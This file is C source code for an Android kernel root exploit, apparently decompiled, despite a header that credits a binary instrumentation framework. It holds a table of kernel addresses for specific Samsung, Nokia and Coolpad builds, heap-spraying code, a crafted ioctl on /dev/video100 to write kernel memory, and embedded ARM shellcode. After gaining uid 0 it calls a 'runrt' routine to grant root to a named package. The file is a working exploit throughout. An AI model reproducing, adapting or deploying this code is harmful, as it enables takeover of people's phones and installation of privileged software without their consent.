/*
 *  Collin's Binary Instrumentation Tool/Framework for Android
 *  Collin Mulliner <collin[at]mulliner.org>
 *  http://www.mulliner.org/android/
 *
 *  (c) 2012,2013
 *
 *  License: LGPL v2.1
 *
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <jni.h>
#include <fcntl.h>
#include <unistd.h>

#include <stdio.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <string.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdbool.h>
#include <android/log.h>
#include <stdint.h>
#include <sys/utsname.h>
#include <sys/system_properties.h>
#include "util.h"

//#define DEBUG

#ifdef DEBUG
#define printff    printf
#else
#define printff(...) 
#endif

#define LOG_TAG "JS"
#define HLOGI(fmt, args...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, fmt, ##args)''

typedef unsigned short  uint16;
typedef unsigned int  uint32;
#define _WORD  uint16
#define _DWORD  uint32 

#define HIWORD(x)   (*((_WORD*)&(x)+1))
//char spraying[0x2000000];
//char server_queue_l2[0x54];
//char server_queue_l4[0x64];
//char server_queue_l10[0x94];


typedef struct _tmp{	
	char spraying[0x2000000];
	char server_queue_l2[0x54];
	char server_queue_l4[0x64];
	char server_queue_l10[0x94];
}tmp,*ptmp;

tmp mtmp = {0};

typedef struct _sty{
	char band[8];
	char model[32];
	char buildno[64];
	char version[64];
	unsigned int e;
	unsigned int f;
	unsigned int a;
	unsigned int b;
    unsigned int c;
}sty, *psty;

typedef struct _sarg{
   int v23; // [sp+1Ch] [bp-54h]@1
   int *v24; // [sp+20h] [bp-50h]@1
   int v25; // [sp+24h] [bp-4Ch]@1
   int v26; // [sp+28h] [bp-48h]@1
   int v27; // [sp+2Ch] [bp-44h]@1
   int v28; // [sp+30h] [bp-40h]@1
   unsigned int v29; // [sp+34h] [bp-3Ch]@1
   unsigned int v30; // [sp+38h] [bp-38h]@1
   int v31; // [sp+3Ch] [bp-34h]@1
   int v32; // [sp+40h] [bp-30h]@1
}sarg, *psarg; 

sty _data_start[] ={
{"Samsung", "SM-G3819D", "3.4.0-1485733-user", "#1 SMP PREEMPT Fri Dec 13 17:00:33 KST 2013", 0x1, 0x4, 0xc00b6cac, 0xc00b67d0, 0xc0b68e44}, \
{"Samsung", "SM-G3819D", "3.4.0-1505782-user", "#1 SMP PREEMPT Fri Jan 17 19:10:00 KST 2014", 0x1, 0x4, 0xc00b6ccc, 0xc00b67f0, 0xc0b68e44}, \
{"Samsung", "SM-G3819D", "3.4.0-1512851-user", "#1 SMP PREEMPT Fri Jan 24 17:14:07 KST 2014", 0x1, 0x4, 0xc00b6ccc, 0xc00b67f0, 0xc0b68e44}, \
{"Samsung", "SM-G3819D", "3.4.0-1550751-user", "#1 SMP PREEMPT Tue Jun 17 11:29:23 KST 2014", 0x1, 0x4, 0xc00b6ccc, 0xc00b67f0, 0xc0b68e44}, \
{"samsung", "GT-I8552", "3.4.0-1315074", "#1 SMP PREEMPT Wed Jul 17 14:02:15 KST 2013", 0x1, 0x4, 0xc00b53c4, 0xc00b4ee8, 0xc0b3b6fc}, \
{"samsung", "GT-I8552", "3.4.0-1427744", "#1 SMP PREEMPT Tue Oct 1 15:43:11 KST 2013", 0x1, 0x4, 0xc00b5478, 0xc00b4f9c, 0xc0b52f3c}, \
{"samsung", "GT-I8552", "3.4.0-1522061", "#1 SMP PREEMPT Wed Feb 26 17:55:42 KST 2014", 0x1, 0x4, 0xc00b5890, 0xc00b53b4, 0xc0b588ac}, \
{"samsung", "GT-I8552", "3.4.0-1547312", "#1 SMP PREEMPT Thu May 29 15:24:41 KST 2014", 0x1, 0x4, 0xc00b5890, 0xc00b53b4, 0xc0b588ac}, \
{"Nokia", "Nokia_X", "3.4.0-perf", "#1 SMP PREEMPT Thu Feb 13 15:21:13 CST 2014", 0x2, 0x4, 0xc00bdc18, 0xc00bd88c, 0xc0bc1f3c}, \
{"Coolpad", "Coolpad 5951", "3.4.0-perf", "#1 SMP PREEMPT Tue Feb 25 18:44:47 CST 2014", 0x2, 0x4, 0xc00be084, 0xc00bdcf8, 0xc0befd3c}, \
{"YuLong", "Coolpad 5951", "3.4.0-perf", "#1 SMP PREEMPT Thu Mar 13 18:35:17 CST 2014", 0x2, 0x4, 0xc00be084, 0xc00bdcf8, 0xc0befd3c}, \
{"YuLong", "Coolpad 5951", "3.4.0-perf", "#1 SMP PREEMPT Fri Apr 18 12:17:18 CST 2014", 0x2, 0x4, 0xc00be080, 0xc00bdcf4, 0xc0befd3c}, \
};

int g_table_size = sizeof(_data_start)/sizeof(sty);

sty tmpsty;

#ifdef DEBUG

void llog(const char *s)
{
	FILE *fp = fopen("/data/local/tmp/vid100.log", "a+");
	fprintf(fp, "%s\n", s);
	fclose(fp);
}

#else
#define llog(...)
#endif

signed int mem_write(int a1, int a2, void (*a3)(void), int a4)
{
  int v4; // r11@1
  int v5; // r4@1
  int v6; // r5@1
  int v7; // r7@1
  signed int v8; // r4@2
  unsigned int v9; // r2@3
  unsigned int v10; // r9@3
  int v11; // r10@5
  int v12; // r4@5
  unsigned int k; // r4@6
  int v15; // r4@14
  int v16; // r10@14
  unsigned int j; // r4@15
  int v18; // r4@23
  int v19; // r10@23
  unsigned int i; // r4@24
  void (*v21)(void); // [sp+10h] [bp-60h]@1
  int v22; // [sp+14h] [bp-5Ch]@1
  int temp1; // [sp+18h] [bp-5Ch]@1
  sarg tmparg;
  int *v33; // [sp+44h] [bp-2Ch]@5
  
  tmparg.v23 = 0;
  tmparg.v24 = 0;
  tmparg.v25 = 0;
  tmparg.v26 = 0;
  tmparg.v27 = 0;
  tmparg.v28 = 0;
  tmparg.v29 = 0;
  tmparg.v30 = 0;
  tmparg.v31 = 0;
  tmparg.v32 = 0;
  
  temp1 = 0;
  v4 = a1; 
  v22 = a2; 
  v5 = a4;
  v21 = a3;
  v6 = *(_DWORD *)(a4 + 172);
  v7 = open("/dev/video100", 0);
  if (v7 == -1) {
  	llog("failed open dev/video100");
  }
  if ( v7 != -1 )
  {
    v9 = *(_DWORD *)(v5 + 168);
    v10 = (v6 << 16) | 0xC00056C4;
    tmparg.v24 = &v22;
    HIWORD(tmparg.v23) = 4;
    tmparg.v30 = 0xDEADBEEF;
    if ( v9 == 1 )
    {
      printff("ok,enter now\n");
      llog("ok,enter now");
      tmparg.v29 = -(0xBFFF7250 / 0x64);
      v33 = &tmparg;
      
      v18 = 0;
      v19 = 0; 
      //memcpy(temp_buf, server_queue_l4, 0x64);
      
      *((unsigned int *)mtmp.server_queue_l4) = 1;
      *((unsigned int *)mtmp.server_queue_l4 + 9) = 0x7FFFFFFF; 
      *((unsigned int *)mtmp.server_queue_l4 + 10) = 0; 
      *((unsigned int *)mtmp.server_queue_l4 + 23) = v4; 
      *((unsigned int *)mtmp.server_queue_l4 + 24) = 0xDEADBEEF; 
      
      while ( 1 )
      {
        for ( i = 100 * ((unsigned int)(&mtmp.spraying) / 0x64) + 100 + 4 * v18 + 100; i < (unsigned int)&mtmp.server_queue_l2; i += 100 )
        {
          memcpy((void *)(i - 100), mtmp.server_queue_l4, 0x64u);
          *(_DWORD *)(i - 92) = i - 96;
          *(_DWORD *)(i - 68) = i - 72;
          *(_DWORD *)(i - 96) = i - 96;
          *(_DWORD *)(i - 72) = i - 72;
        }
        printff("ok,ioctl now\n");
        llog("ok,ioctl now");
        if ( !ioctl(v7, v10, &v33) ){
          printff("ok,great\n");
          llog("ok,great");
          break;
        }
        ++v19;
        v18 = v19;
        if ( v19 == 25 )
          goto LABEL_10;
      }
    }
    else if ( v9 >= 1 )
    {
      if ( v9 != 2 )
      {
LABEL_10:
        v8 = 0;
LABEL_11:
        close(v7);
        return v8;
      }
      tmparg.v29 = -(0xBFFF7250 / 0x94);
      v33 = &tmparg;  
      v15 = 0;
      v16 = 0; 
      
      *((unsigned int *)mtmp.server_queue_l10) = 1;
      *((unsigned int *)mtmp.server_queue_l10 + 15) = 0x7FFFFFFF;
      *((unsigned int *)mtmp.server_queue_l10 + 16) = 0;
      *((unsigned int *)mtmp.server_queue_l10 + 35) = v4;
      *((unsigned int *)mtmp.server_queue_l10 + 36) = 0xDEADBEEF;
     
      while ( 1 )
      {
        for ( j = 148 * ((unsigned int)mtmp.spraying / 0x94) + 148 + 4 * v15 + 148; j < (unsigned int)mtmp.server_queue_l2; j += 148 )
        {
          memcpy((void *)(j - 148), mtmp.server_queue_l10, 0x94u);
          *(_DWORD *)(j - 140) = j - 144;
          *(_DWORD *)(j - 92) = j - 96;
          *(_DWORD *)(j - 144) = j - 144;
          *(_DWORD *)(j - 96) = j - 96;
        }
        if ( !ioctl(v7, v10, &v33) )
          break;
        ++v16;
        v15 = v16;
        if ( v16 == 37 )
          goto LABEL_10;
      }
    }
    else
    {
      tmparg.v29 = -(0xBFFF7250 / 0x54);
      v33 = &tmparg;
      v11 = 0;
      v12 = 0;
      
      *((unsigned int *)mtmp.server_queue_l2) = 1;
      *((unsigned int *)mtmp.server_queue_l2 + 7) = 0x7FFFFFFF;
      *((unsigned int *)mtmp.server_queue_l2 + 8) = 0;
      *((unsigned int *)mtmp.server_queue_l2 + 19) = v4;
      *((unsigned int *)mtmp.server_queue_l2 + 20) = 0xDEADBEEF;
     
      while ( 1 )
      {
        for ( k = 84 * ((unsigned int)mtmp.spraying / 0x54) + 84 + 4 * v12 + 84; (unsigned int)mtmp.server_queue_l2 > k; k += 84 )
        {
          memcpy((void *)(k - 84), mtmp.server_queue_l2, 0x54u);
          *(_DWORD *)(k - 76) = k - 80;
          *(_DWORD *)(k - 60) = k - 64;
          *(_DWORD *)(k - 80) = k - 80;
          *(_DWORD *)(k - 64) = k - 64;
        }
        if ( !ioctl(v7, v10, &v33) )
          break;
        ++v11;
        v12 = v11;
        if ( v11 == 21 )
          goto LABEL_10;
      }
    }
    if ( v21 )
      v21();
    v8 = 1;
    goto LABEL_11;
  }
  return -1;
}


void root_exploit() {
    struct utsname ut_sname;
    int sys_ret = uname(&ut_sname);
    char phone_model[32] = {0};
    int n_phone_model_len = 0;

    char* v13;
    char v14[0x28];
    char v17[0x2000] = {0};
    char shellcode[0x28] = "\x10\x40\x2D\xE9\x14\x30\x9F\xE5\x00\x00\xA0\xE3\x33\xFF\x2F\xE1\x0C\x30\x9F\xE5\x33\xFF\x2F\xE1\x00\x00\xA0\xE3\x10\x80\xBD\xE8\x00\x00\x00\x00\x00\x00\x00\x00";
    if ( !sys_ret )
    {
        printff("ok,do phase 1\n");
        llog("ok,do phase 1");
        __system_property_get("ro.product.model", phone_model);
        n_phone_model_len = strlen(phone_model);
        
        int i = 0;
        while (i < g_table_size) {
            int n_phone_release = 0;

            memcpy(&tmpsty, &_data_start[i], sizeof(sty));
            printff("band %s ,model %s, buildno %s, version %s\n", tmpsty.band,tmpsty.model,tmpsty.buildno,ut_sname.version);
            if (strlen(tmpsty.model) == n_phone_model_len) {
                n_phone_release = strlen(ut_sname.release);
                if(n_phone_release == strlen(tmpsty.buildno) &&
                     !strncmp(phone_model,tmpsty.model,n_phone_model_len) &&
                     !strncmp(tmpsty.buildno, ut_sname.release, n_phone_release)) {
                    
                    if (!strncmp(ut_sname.version, tmpsty.version,strlen(tmpsty.version))) {
                        break;
                    }
                }
            }    
            i++;
        }
        if(i == g_table_size)
        {
            printff("ok,do phase 2\n");
            llog("ok,do phase 2");
            exit(1);
        }
        
        v13 = &tmpsty;
        
        if ( v13 && *((_DWORD *)v13 + 46) )
          {
            printff("ok,do phase 3\n");
            llog("ok,do phase 3");
            if ( mmap(0, 0x2000000u, 3, 0x22, 0xFFFFFFFF, 0) != (void *)-1 )
            {
              memcpy(v14, shellcode, 0x28);
              *((unsigned int *)v14 + 8) = *((_DWORD *)v13 + 44);
              *((unsigned int *)v14 + 9) = *((_DWORD *)v13 + 45);            
              memcpy((void *)(((unsigned int)v17 & 0xFFFFF000) + 4096), v14, 0x28u);
              if ( !mprotect((void *)(((unsigned int)v17 & 0xFFFFF000) + 4096), 0x1000u, 5) )
              {
                int fd = open("/dev/ptmx", 1);
                if ( fd >= 0 )
                {
                  if ( mem_write(
                         *((_DWORD *)v13 + 46) + 56,
                         ((unsigned int)v17 & 0xFFFFF000) + 4096,
                         0,
                         (int)&tmpsty) == 1
                    && !fsync(fd))
                  {
                    printff("ok,do phase 4\n");
                    llog("ok,do phase 4");
                    mem_write(*((_DWORD *)v13 + 46) + 56, 0, 0, (int)&tmpsty);
                  }
                  close(fd);
                  if ( !getuid() )
                  {
                    printff("root success!!!!\n");
                    llog("root success!!!!");
                  }
                }
                else {
                	llog("failed open dev/ptmx");
                }
                mprotect((void *)(((unsigned int)v17 & 0xFFFFF000) + 4096), 0x1000u, 7);
               }
            }
          }
    }
}
/*
int main(int argc, char* argv){
	int val = getuid();
	printff("uid:%d\n", val);

	root_exploit();

	val = getuid();
	printff("uid:%d\n", val);
	return 0;
}
*/


//////////////////////////////////////////////////////////////////////////

extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

void do_root(int argc, const char **argv)
{
	printff("runrt(%d, '%s', '%s')\n", atoi(argv[1]), argv[2], argv[3]);
	llog("before runrt.");
	runrt( atoi(argv[1]), argv[2], argv[3] );
	llog("after runrt.");
}

int main(int argc, const char **argv)
{
	int ret = 0, uid=0;
	//char buf[256];
	llog("started.");
#ifndef DEBUG	
	check_parent_pid();
#endif

	if(argc < 4) return 1;
	
	root_exploit();
	
	uid = getuid();
	ret = (uid == 0);
	
	//sprintf(buf, "uid=%d", uid);
	//llog(buf);
	
	if(ret)
	{
		do_root(argc, argv);
	}
	return ret? 0:1;
}
